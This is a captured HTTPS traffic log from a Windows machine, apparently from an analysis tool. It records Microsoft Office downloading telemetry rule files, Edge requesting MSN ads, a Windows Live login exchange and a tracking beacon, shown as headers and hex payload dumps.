2024-10-28 17:43:39 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:38 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 8e6218f7-d01e-0066-7d57-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174338Z-16849878b78xblwksrnkakc08w00000004mg00000000aq0x x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:39 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	63585	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:36 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:39 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:39 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: df439d9f-401e-0067-5610-2709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174339Z-16849878b786fl7gm2qg4r5y7000000005p0000000008wk4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 17:43:39 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	63584	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:36 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:39 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:38 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 48ec36c7-d01e-00a1-338d-2735b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174338Z-16849878b78smng4k6nq15r6s400000006ug00000000fc5s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 17:43:39 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	63590	23.101.168.44	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:39 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=29FEC05542B56D820230D57343E26C2D&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=8706bfa30ea84e18f41bed2bfd558a5f HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=29FEC05542B56D820230D57343E26C2D; _EDGE_S=F=1&SID=2E43925160CA63FF39D3877761A062D1; _EDGE_V=1
2024-10-28 17:43:39 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 28 Oct 2024 17:43:39 GMT Connection: close
2024-10-28 17:43:39 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	63588	40.126.31.71	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:39 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-28 17:43:39 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-28 17:43:39 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 28 Oct 2024 17:42:39 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C554_BL2 x-ms-request-id: 66eea7c2-53e3-4a1a-b3a6-5b9b8c2db528 PPServer: PPV: 30 H: BL02EPF0001D7C0 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 28 Oct 2024 17:43:38 GMT Connection: close Content-Length: 11392
2024-10-28 17:43:39 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	63598	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:39 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:39 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:39 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 9577fd14-901e-0016-4fa3-26efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174339Z-16849878b78km6fmmkbenhx76n00000004t0000000002z1a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:39 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	63597	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:39 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:39 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:39 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: af2b1dc9-001e-0066-0d6c-27561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174339Z-16849878b78j7llf5vkyvvcehs00000006a000000000tuqk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:39 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	63601	13.107.246.51	443	6004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:39 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:39 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:39 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: ba33cc4f-e01e-0052-2e6f-28d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174339Z-15b8d89586f6nn8zqg1h5suba800000000q0000000001v80 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:39 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	63599	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:39 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:39 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:39 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 79ba3cde-d01e-002b-6b10-2925fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174339Z-r197bdfb6b4skzzvqpzzd3xetg00000004tg000000002n61 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 17:43:39 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	63600	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:39 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:39 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 080ba15e-001e-0082-732b-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174339Z-16849878b7867ttgfbpnfxt44s000000056g00000000danw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:39 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	63604	18.245.113.73	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:40 UTC	925	OUT	GET /b?rn=1730137417933&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=29FEC05542B56D820230D57343E26C2D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
